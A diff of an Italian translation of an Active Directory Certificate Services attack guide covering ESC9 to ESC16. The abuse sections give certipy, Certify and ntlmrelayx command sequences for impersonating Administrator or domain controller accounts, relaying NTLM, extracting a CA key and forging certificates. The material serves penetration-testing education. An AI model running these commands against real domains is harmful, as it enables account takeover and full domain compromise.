+Inizialmente, l'hash di `Jane` viene acquisito usando Shadow Credentials, grazie al `GenericWrite` di `John`:
 ```bash
 certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
 ```
-Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo volutamente la parte di dominio `@corp.local`:
+Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo intenzionalmente la parte di dominio `@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Questa modifica non viola i vincoli, dato che `Administrator@corp.local` rimane distinto come `userPrincipalName` di `Administrator`.
+Questa modifica non viola i vincoli, poiché `Administrator@corp.local` rimane distinto come userPrincipalName di `Administrator`.
 
-Successivamente, il template di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto da `Jane`:
+Successivamente, il template di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto come `Jane`:
 ```bash
 certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
 ```
 Si nota che il `userPrincipalName` del certificato riflette `Administrator`, privo di qualsiasi “object SID”.
 
-Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo originale, `Jane@corp.local`:
+Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo valore originale, `Jane@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Il tentativo di autenticazione con il certificato emesso ora restituisce l'NT hash di `Administrator@corp.local`. Il comando deve includere `-domain <domain>` a causa della mancanza di specificazione del dominio nel certificato:
+Tentare l'autenticazione con il certificato emesso ora restituisce l'NT hash di `Administrator@corp.local`. Il comando deve includere `-domain <domain>` a causa dell'assenza della specifica del dominio nel certificato:
 ```bash
 certipy auth -pfx adminitrator.pfx -domain corp.local
 ```
@@ -499,10 +499,10 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
 
 ### Spiegazione
 
-ESC10 fa riferimento a due valori del registro sul domain controller:
+Due valori di chiavi del registro sul controller di dominio sono indicati da ESC10:
 
-- Il valore predefinito per `CertificateMappingMethods` sotto `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` è `0x18` (`0x8 | 0x10`), precedentemente impostato a `0x1F`.
-- L'impostazione predefinita per `StrongCertificateBindingEnforcement` sotto `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` è `1`, precedentemente `0`.
+- Il valore predefinito per `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` è `0x18` (`0x8 | 0x10`), precedentemente impostato su `0x1F`.
+- L'impostazione predefinita per `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` è `1`, precedentemente `0`.
 
 **Caso 1**
 
@@ -516,31 +516,31 @@ Se `CertificateMappingMethods` include il bit `UPN` (`0x4`).
 
 Con `StrongCertificateBindingEnforcement` configurato come `0`, un account A con permessi `GenericWrite` può essere sfruttato per compromettere qualsiasi account B.
 
-Ad esempio, avendo permessi `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura è analoga a ESC9, permettendo l'uso di qualsiasi template di certificato.
+Per esempio, avendo permessi `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura rispecchia ESC9, permettendo di utilizzare qualsiasi modello di certificato.
 
 Inizialmente, l'hash di `Jane` viene recuperato usando Shadow Credentials, sfruttando il `GenericWrite`.
 ```bash
 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
 ```
-Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte `@corp.local` per evitare una violazione di un vincolo.
+Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte `@corp.local` per evitare una violazione di vincolo.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Successivamente, per `Jane` viene richiesto un certificato che abilita l'autenticazione client, utilizzando il template predefinito `User`.
+A seguito di ciò, viene richiesto un certificato che abilita l'autenticazione del client come `Jane`, usando il modello predefinito `User`.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-Il `userPrincipalName` di `Jane` viene poi ripristinato al suo valore originale, `Jane@corp.local`.
+Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo valore originale, `Jane@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-L'autenticazione con il certificato ottenuto restituirà l'NT hash di `Administrator@corp.local`, pertanto è necessario specificare il dominio nel comando a causa dell'assenza dei dettagli del dominio nel certificato.
+L'autenticazione con il certificato ottenuto restituirà l'NT hash di `Administrator@corp.local`, richiedendo la specifica del dominio nel comando poiché nel certificato mancano i dettagli del dominio.
 ```bash
 certipy auth -pfx administrator.pfx -domain corp.local
 ```
-### Caso di abuso 2
+### Caso d'abuso 2
 
-Con i `CertificateMappingMethods` che contengono il bit flag `UPN` (`0x4`), un account A con permessi `GenericWrite` può compromettere qualsiasi account B privo della proprietà `userPrincipalName`, inclusi gli account macchina e l'amministratore di dominio integrato `Administrator`.
+Con i `CertificateMappingMethods` che contengono il flag bit `UPN` (`0x4`), un account A con permessi `GenericWrite` può compromettere qualsiasi account B privo della proprietà `userPrincipalName`, inclusi gli account macchina e l'amministratore di dominio integrato `Administrator`.
 
 Qui, l'obiettivo è compromettere `DC$@corp.local`, iniziando dall'ottenere l'hash di `Jane` tramite Shadow Credentials, sfruttando il `GenericWrite`.
 ```bash
@@ -550,7 +550,7 @@ Il `userPrincipalName` di `Jane` viene quindi impostato su `DC$@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
 ```
-Viene richiesto un certificato per l'autenticazione del client come `Jane` usando il template predefinito `User`.
+Viene richiesto un certificato per l'autenticazione del client come `Jane` utilizzando il template predefinito `User`.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
@@ -558,23 +558,23 @@ Il `userPrincipalName` di `Jane` viene ripristinato al suo valore originale dopo
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
 ```
-Per autenticarsi via Schannel, si utilizza l'opzione `-ldap-shell` di Certipy, che indica il successo dell'autenticazione come `u:CORP\DC$`.
+Per autenticarsi tramite Schannel, viene utilizzata l'opzione `-ldap-shell` di Certipy, che indica il successo dell'autenticazione come `u:CORP\DC$`.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Attraverso la shell LDAP, comandi come `set_rbcd` abilitano attacchi Resource-Based Constrained Delegation (RBCD), compromettendo potenzialmente il domain controller.
+Attraverso la LDAP shell, comandi come `set_rbcd` consentono attacchi Resource-Based Constrained Delegation (RBCD), compromettendo potenzialmente il domain controller.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Questa vulnerabilità si estende anche a qualsiasi account utente privo di `userPrincipalName` o in cui questo non corrisponda a `sAMAccountName`, con il predefinito `Administrator@corp.local` che rappresenta un obiettivo primario a causa dei suoi privilegi LDAP elevati e dell'assenza, per impostazione predefinita, di un `userPrincipalName`.
+Questa vulnerabilità si estende anche a qualsiasi account utente privo di un `userPrincipalName` o in cui esso non corrisponde al `sAMAccountName`; l'account predefinito `Administrator@corp.local` è un obiettivo privilegiato a causa dei suoi elevati privilegi LDAP e dell'assenza di un `userPrincipalName` di default.
 
 ## Relaying NTLM to ICPR - ESC11
 
 ### Spiegazione
 
-Se il CA Server non è configurato con `IF_ENFORCEENCRYPTICERTREQUEST`, ciò può permettere NTLM relay attacks senza firma tramite il servizio RPC. [Riferimento](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
+Se il CA Server non è configurato con `IF_ENFORCEENCRYPTICERTREQUEST`, è possibile eseguire attacchi di relay NTLM senza signing tramite il servizio RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
 
-Puoi usare `certipy` per enumerare se `Enforce Encryption for Requests` è Disabled e certipy mostrerà le Vulnerabilità `ESC11`.
+Puoi usare `certipy` per verificare se `Enforce Encryption for Requests` è Disabled e certipy mostrerà le vulnerabilità `ESC11`.
 ```bash
 $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -593,7 +593,7 @@ ESC11                             : Encryption is not enforced for ICPR requests
 ```
 ### Scenario di abuso
 
-È necessario configurare un relay server:
+È necessario impostare un relay server:
 ```bash
 $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
 Certipy v4.7.0 - by Oliver Lyak (ly4k)
@@ -620,21 +620,21 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
 ```
 ## Shell access to ADCS CA with YubiHSM - ESC12
 
-### Spiegazione
+### Explanation
 
-Gli amministratori possono configurare la Certificate Authority per memorizzarla su un dispositivo esterno come lo Yubico YubiHSM2.
+Gli amministratori possono configurare la Certificate Authority in modo da memorizzarla su un dispositivo esterno come lo Yubico YubiHSM2.
 
-Se il dispositivo USB è collegato al server CA tramite una porta USB, o a un USB device server nel caso in cui il server CA sia una macchina virtuale, è richiesta una chiave di autenticazione (talvolta chiamata "password") per permettere al Key Storage Provider di generare e utilizzare le chiavi nel YubiHSM.
+Se un dispositivo USB è collegato al server CA tramite una porta USB, o tramite un USB device server nel caso in cui il server CA sia una macchina virtuale, per il Key Storage Provider è richiesta una chiave di autenticazione (a volte indicata come "password") per generare e utilizzare le chiavi nell'YubiHSM.
 
 Questa chiave/password è memorizzata nel registro sotto `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in chiaro.
 
 Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
 
-### Scenario di abuso
+### Abuse Scenario
 
-Se la chiave privata della CA è memorizzata su un dispositivo USB fisico e si ottiene shell access, è possibile recuperare la chiave.
+Se la chiave privata della CA è memorizzata su un dispositivo USB fisico, quando si ottiene accesso shell è possibile recuperarla.
 
-Per prima cosa, è necessario ottenere il certificato della CA (è pubblico) e poi:
+Per prima cosa, è necessario ottenere il certificato della CA (questo è pubblico) e poi:
 ```cmd
 # import it to the user store with CA certificate
 $ certutil -addstore -user my <CA certificate file>
@@ -648,7 +648,7 @@ Infine, usa il comando certutil `-sign` per forgiare un nuovo certificato arbitr
 
 ### Spiegazione
 
-L'attributo `msPKI-Certificate-Policy` permette di aggiungere la issuance policy al template del certificato. Gli oggetti `msPKI-Enterprise-Oid` responsabili dell'emissione delle policy possono essere scoperti nel Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) del PKI OID container. Una policy può essere collegata a un gruppo AD usando l'attributo `msDS-OIDToGroupLink` di questo oggetto, permettendo a un sistema di autorizzare un utente che presenta il certificato come se fosse membro del gruppo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
+L'attributo `msPKI-Certificate-Policy` permette di aggiungere la policy di emissione al modello del certificato. Gli oggetti `msPKI-Enterprise-Oid` responsabili delle policy di emissione possono essere scoperti nel Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) del contenitore PKI OID. Una policy può essere collegata a un gruppo AD usando l'attributo `msDS-OIDToGroupLink` di questo oggetto, consentendo a un sistema di autorizzare un utente che presenta il certificato come se fosse membro del gruppo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
 
 In altre parole, quando un utente ha il permesso di richiedere un certificato e il certificato è collegato a un gruppo OID, l'utente può ereditare i privilegi di quel gruppo.
 
@@ -676,46 +676,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
 ```
 ### Scenario di abuso
 
-Trova un permesso utente che può essere usato con `certipy find` o `Certify.exe find /showAllPermissions`.
+Trova un permesso utente che può usare con `certipy find` o `Certify.exe find /showAllPermissions`.
 
-Se `John` ha il permesso di eseguire l'enrollment per `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`.
+Se `John` ha il permesso di effettuare l'enrollment su `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`.
 
-Tutto quello che deve fare è specificare il template: otterrà un certificato con i diritti OIDToGroupLink.
+Tutto ciò che deve fare è specificare il template; otterrà un certificato con i diritti OIDToGroupLink.
 ```bash
 certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
 ```
-## Configurazione vulnerabile del rinnovo dei certificati - ESC14
+## Configurazione di rinnovo certificati vulnerabile - ESC14
 
 ### Spiegazione
 
-La descrizione su https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping è notevolmente completa. Di seguito una citazione del testo originale.
+La descrizione su https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping è straordinariamente dettagliata. Di seguito è riportata una citazione del testo originale.
 
-ESC14 affronta le vulnerabilità derivanti da una "weak explicit certificate mapping", principalmente attraverso l'uso improprio o una configurazione insicura dell'attributo `altSecurityIdentities` sugli account utente o computer di Active Directory. Questo attributo multivalore permette agli amministratori di associare manualmente certificati X.509 a un account AD per scopi di autenticazione. Quando popolato, questo mapping esplicito può sovrascrivere la logica di mapping dei certificati predefinita, che tipicamente si basa su UPNs o nomi DNS nel SAN del certificato, o sul SID incorporato nell'estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`.
+ESC14 affronta le vulnerabilità derivanti da "weak explicit certificate mapping", principalmente attraverso l'uso improprio o la configurazione insicura dell'attributo `altSecurityIdentities` sugli account utente o computer di Active Directory. Questo attributo multivalore permette agli amministratori di associare manualmente certificati X.509 a un account AD per scopi di autenticazione. Quando è popolato, questo mapping esplicito può sovrascrivere la logica di mapping predefinita dei certificati, che tipicamente si basa su UPNs o nomi DNS nel SAN del certificato, o sul SID incorporato nell'estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`.
 
-Una mappatura "debole" si verifica quando il valore stringa usato all'interno dell'attributo `altSecurityIdentities` per identificare un certificato è troppo ampio, facilmente indovinabile, si basa su campi del certificato non unici o utilizza componenti del certificato facilmente contraffabili. Se un attaccante può ottenere o creare un certificato i cui attributi corrispondono a una tale mappatura esplicita definita debolmente per un account privilegiato, può usare quel certificato per autenticarsi e impersonare quell'account.
+Un mapping "debole" si verifica quando il valore stringa usato all'interno dell'attributo `altSecurityIdentities` per identificare un certificato è troppo generico, facilmente indovinabile, si basa su campi non univoci del certificato, o usa componenti del certificato facilmente spoofabili. Se un attaccante può ottenere o creare un certificato i cui attributi corrispondono a un mapping esplicito debolmente definito per un account privilegiato, può usare quel certificato per autenticarsi e impersonare quell'account.
 
-Esempi di possibili stringhe di mapping deboli in `altSecurityIdentities` includono:
+Esempi di stringhe di mapping `altSecurityIdentities` potenzialmente deboli includono:
 
-- Mappatura basata esclusivamente su un Common Name (CN) del Subject comune: p.es., `X509:<S>CN=SomeUser`. Un attaccante potrebbe riuscire a ottenere un certificato con quel CN da una fonte meno sicura.
-- Uso di Issuer Distinguished Names (DN) o Subject DNs eccessivamente generici senza ulteriore qualificazione come un numero di seriale specifico o subject key identifier: p.es., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
-- Impiego di altri pattern prevedibili o identificatori non crittografici che un attaccante potrebbe soddisfare in un certificato che può legittimamente ottenere o forgiare (se ha compromesso una CA o trovato un template vulnerabile come in ESC1).
+- Mapping unicamente tramite un comune Subject Common Name (CN): ad es., `X509:<S>CN=SomeUser`. Un attaccante potrebbe riuscire a ottenere un certificato con questo CN da una fonte meno sicura.
+- Uso di Issuer Distinguished Names (DN) o Subject DNs eccessivamente generici senza ulteriori qualifiche come un numero di serie specifico o subject key identifier: ad es., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
+- Impiego di altri pattern prevedibili o identificatori non crittografici che un attaccante potrebbe riuscire a soddisfare in un certificato che può legittimamente ottenere o forgiare (se ha compromesso una CA o trovato un template vulnerabile come in ESC1).
 
-L'attributo `altSecurityIdentities` supporta vari formati per il mapping, come ad esempio:
+L'attributo `altSecurityIdentities` supporta vari formati per il mapping, come:
 
 - `X509:<I>IssuerDN<S>SubjectDN` (mappa per Issuer e Subject DN completi)
 - `X509:<SKI>SubjectKeyIdentifier` (mappa per il valore dell'estensione Subject Key Identifier del certificato)
-- `X509:<SR>SerialNumberBackedByIssuerDN` (mappa per numero di seriale, implicitamente qualificato dall'Issuer DN) - questo non è un formato standard, solitamente è `<I>IssuerDN<SR>SerialNumber`.
+- `X509:<SR>SerialNumberBackedByIssuerDN` (mappa per numero di serie, implicitamente qualificato dall'Issuer DN) - questo non è un formato standard, di solito è `<I>IssuerDN<SR>SerialNumber`.
 - `X509:<RFC822>EmailAddress` (mappa per un nome RFC822, tipicamente un indirizzo email, dal SAN)
 - `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mappa per un hash SHA1 della raw public key del certificato - generalmente forte)
 
-La sicurezza di questi mapping dipende fortemente dalla specificità, dall'unicità e dalla robustezza crittografica degli identificatori di certificato scelti nella stringa di mapping. Anche con modalità di certificate binding forti abilitate sui Domain Controller (che influenzano principalmente i mapping impliciti basati su SAN UPNs/DNS e l'estensione SID), una voce `altSecurityIdentities` configurata male può comunque rappresentare una via diretta per l'impersonificazione se la logica di mapping stessa è difettosa o troppo permissiva.
+La sicurezza di questi mapping dipende fortemente dalla specificità, univocità e forza crittografica degli identificatori di certificato scelti nella stringa di mapping. Anche con modalità di binding dei certificati forti abilitate sui Domain Controllers (che influenzano principalmente i mapping impliciti basati su SAN UPNs/DNS e l'estensione SID), una voce `altSecurityIdentities` mal configurata può comunque rappresentare un percorso diretto per l'impersonazione se la logica di mapping stessa è difettosa o troppo permissiva.
+
 ### Scenario di abuso
 
-ESC14 prende di mira le **explicit certificate mappings** in Active Directory (AD), specificamente l'attributo `altSecurityIdentities`. Se questo attributo è impostato (per progetto o per errata configurazione), gli attaccanti possono impersonare account presentando certificati che corrispondono al mapping.
+ESC14 prende di mira le **explicit certificate mappings** in Active Directory (AD), specificamente l'attributo `altSecurityIdentities`. Se questo attributo è impostato (per design o per errata configurazione), gli attaccanti possono impersonare account presentando certificati che corrispondono al mapping.
 
-#### Scenario A: L'attaccante può scrivere in `altSecurityIdentities`
+#### Scenario A: Attacker Can Write to `altSecurityIdentities`
 
-**Precondizione**: L'attaccante ha permessi di scrittura sull'attributo `altSecurityIdentities` dell'account target oppure il permesso per concederlo sotto forma di uno dei seguenti permessi sull'oggetto AD target:
+**Precondizione**: L'attaccante ha permessi di scrittura sull'attributo `altSecurityIdentities` dell'account target o il permesso di concederlo nella forma di uno dei seguenti permessi sull'oggetto AD target:
 - Write property `altSecurityIdentities`
 - Write property `Public-Information`
 - Write property (all)
@@ -724,19 +725,23 @@ ESC14 prende di mira le **explicit certificate mappings** in Active Directory (A
 - `GenericWrite`
 - `GenericAll`
 - Owner*.
-#### Scenario B: Il target ha una mappatura debole via X509RFC822 (Email)
 
-- **Precondizione**: Il target ha una mappatura X509RFC822 debole in altSecurityIdentities. Un attaccante può impostare l'attributo mail della vittima per farlo corrispondere al nome X509RFC822 del target, richiedere un certificato come la vittima e usarlo per autenticarsi come il target.
-#### Scenario C: Il target ha una mappatura X509IssuerSubject
+#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
 
-- **Precondizione**: Il target ha una mappatura esplicita X509IssuerSubject in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject della mappatura X509IssuerSubject del target. Poi, l'attaccante può richiedere un certificato come la vittima e usare questo certificato per autenticarsi come il target.
-#### Scenario D: Il target ha una mappatura X509SubjectOnly
+- **Precondizione**: Il target ha un mapping X509RFC822 debole in altSecurityIdentities. Un attaccante può impostare l'attributo mail della vittima per farlo corrispondere al nome X509RFC822 del target, richiedere un certificato come la vittima e usarlo per autenticarsi come il target.
+
+#### Scenario C: Target Has X509IssuerSubject Mapping
+
+- **Precondizione**: Il target ha un mapping esplicito X509IssuerSubject in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject del mapping X509IssuerSubject del target. Successivamente, l'attaccante può richiedere un certificato come la vittima e usare quel certificato per autenticarsi come il target.
+
+#### Scenario D: Target Has X509SubjectOnly Mapping
+
+- **Precondizione**: Il target ha un mapping esplicito X509SubjectOnly in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject del mapping X509SubjectOnly del target. Successivamente, l'attaccante può richiedere un certificato come la vittima e usare quel certificato per autenticarsi come il target.
 
-- **Precondizione**: Il target ha una mappatura esplicita X509SubjectOnly in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject della mappatura X509SubjectOnly del target. Poi, l'attaccante può richiedere un certificato come la vittima e usare questo certificato per autenticarsi come il target.
 ### operazioni concrete
 #### Scenario A
 
-Richiedere un certificato dal template di certificato `Machine`
+Request a certificate of the certificate template `Machine`
 ```bash
 .\Certify.exe request /ca:<ca> /template:Machine /machine
 ```
@@ -752,28 +757,28 @@ Pulizia (opzionale)
 ```bash
 Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
 ```
-Per metodi di attacco più specifici in diversi scenari di attacco, fare riferimento a: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
+Per metodi d'attacco più specifici in vari scenari di attacco, fare riferimento a quanto segue: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
 
-## EKUwu Politiche di Applicazione(CVE-2024-49019) - ESC15
+## EKUwu Application Policies(CVE-2024-49019) - ESC15
 
 ### Spiegazione
 
-La descrizione su https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc è straordinariamente dettagliata. Di seguito una citazione del testo originale.
+La descrizione su https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc è notevolmente esaustiva. Di seguito è riportata una citazione del testo originale.
 
 Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
 
 ### Abuso
 
-Quanto segue fa riferimento a [questo link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Clicca per vedere metodi di utilizzo più dettagliati.
+Quanto segue fa riferimento a [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
 
 
-Il comando `find` di Certipy può aiutare a identificare template V1 potenzialmente suscettibili a ESC15 se la CA non è aggiornata.
+Il comando `find` di Certipy può aiutare a identificare template V1 che potrebbero essere suscettibili a ESC15 se la CA non è aggiornata.
 ```bash
 certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
 ```
-#### Scenario A: Impersonamento diretto via Schannel
+#### Scenario A: Direct Impersonation via Schannel
 
-**Passo 1: Richiedere un certificato, iniettando la Application Policy "Client Authentication" e l'UPN di destinazione.** L'attaccante `attacker@corp.local` prende di mira `administrator@corp.local` usando il template "WebServer" V1 (che permette il subject fornito dal richiedente).
+**Passo 1: Richiedere un certificato, inserendo la Application Policy "Client Authentication" e l'UPN di destinazione.** L'attaccante `attacker@corp.local` prende di mira `administrator@corp.local` usando il template "WebServer" V1 (che permette che il subject del certificato sia fornito dall'iscritto).
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -783,8 +788,8 @@ certipy req \
 -application-policies 'Client Authentication'
 ```
 - `-template 'WebServer'`: Il template V1 vulnerabile con "Enrollee supplies subject".
-- `-application-policies 'Client Authentication'`: Inserisce l'OID `1.3.6.1.5.5.7.3.2` nell'estensione Application Policies del CSR.
-- `-upn 'administrator@corp.local'`: Imposta l'UPN nel SAN per l'impersonazione.
+- `-application-policies 'Client Authentication'`: Inietta l'OID `1.3.6.1.5.5.7.3.2` nell'estensione Application Policies del CSR.
+- `-upn 'administrator@corp.local'`: Imposta l'UPN nel SAN per impersonare.
 
 **Passo 2: Autenticarsi tramite Schannel (LDAPS) usando il certificato ottenuto.**
 ```bash
@@ -792,7 +797,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
 ```
 #### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
 
-**Passo 1: Richiedere un certificato da un V1 template (con "Enrollee supplies subject"), iniettando la Application Policy "Certificate Request Agent".** Questo certificato è per l'attacker (`attacker@corp.local`) per diventare un enrollment agent. Non viene specificato alcun UPN per l'identità dell'attacker qui, poiché l'obiettivo è la capacità di agent.
+**Passo 1: Richiedere un certificato da un template V1 (con "Enrollee supplies subject"), iniettando la Application Policy "Certificate Request Agent".** Questo certificato è per l'attaccante (`attacker@corp.local`) per diventare un enrollment agent. Nessun UPN è specificato per l'identità dell'attaccante qui, poiché l'obiettivo è la capacità di agente.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -800,9 +805,9 @@ certipy req \
 -ca 'CORP-CA' -template 'WebServer' \
 -application-policies 'Certificate Request Agent'
 ```
-- `-application-policies 'Certificate Request Agent'`: Inietta OID `1.3.6.1.4.1.311.20.2.1`.
+- `-application-policies 'Certificate Request Agent'`: Injects OID `1.3.6.1.4.1.311.20.2.1`.
 
-**Passo 2: Usa il certificato "agent" per richiedere un certificato per conto di un utente privilegiato target.** Questo è un passo ESC3-like, usando il certificato del Passo 1 come certificato agent.
+**Passo 2: Usa il certificato "agent" per richiedere un certificato per conto di un utente privilegiato target.** Questo è un passaggio simile a ESC3, usando il certificato del Passo 1 come certificato "agent".
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -810,7 +815,7 @@ certipy req \
 -ca 'CORP-CA' -template 'User' \
 -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
 ```
-**Passo 3: Autenticarsi come l'utente privilegiato usando il certificato "on-behalf-of".**
+**Passo 3: Autenticarsi come utente privilegiato usando il certificato "on-behalf-of".**
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
 ```
@@ -818,44 +823,44 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
 
 ### Spiegazione
 
-**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** si riferisce allo scenario in cui, se la configurazione di AD CS non impone l'inclusione dell'estensione **szOID_NTDS_CA_SECURITY_EXT** in tutti i certificati, un attaccante può sfruttare ciò tramite:
+**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** si riferisce allo scenario in cui, se la configurazione di AD CS non impone l'inclusione dell'estensione **szOID_NTDS_CA_SECURITY_EXT** in tutti i certificati, un attaccante può sfruttarlo:
 
-1. Richiedere un certificato **senza SID binding**.
+1. Richiedendo un certificato **without SID binding**.
 
-2. Usare questo certificato **per l'autenticazione come qualsiasi account**, ad esempio impersonando un account ad alto privilegio (es. un Amministratore di dominio).
+2. Usando questo certificato **per l'autenticazione come qualsiasi account**, ad esempio impersonando un account ad alto privilegio (ad es., un Domain Administrator).
 
-Puoi anche consultare questo articolo per saperne di più sul principio dettagliato: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
+Puoi anche fare riferimento a questo articolo per saperne di più sul principio dettagliato:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
 
 ### Abuso
 
-Quanto segue fa riferimento a [questo link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Clicca per vedere metodi d'uso più dettagliati.
+Quanto segue fa riferimento a [questo link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Clicca per vedere metodi d'uso più dettagliati.
 
 Per identificare se l'ambiente Active Directory Certificate Services (AD CS) è vulnerabile a **ESC16**
 ```bash
 certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
 ```
-**Passo 1: Leggi l'UPN iniziale dell'account vittima (Opzionale - per il ripristino).
+**Passo 1: Leggi l'UPN iniziale dell'account della vittima (Opzionale - per il ripristino).**
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -user 'victim' \
 read
 ```
-**Passo 2: Aggiorna l'UPN dell'account della vittima con l'`sAMAccountName` dell'amministratore target.**
+**Passo 2: Aggiorna l'UPN dell'account vittima con il `sAMAccountName` dell'amministratore target.**
 ```bash
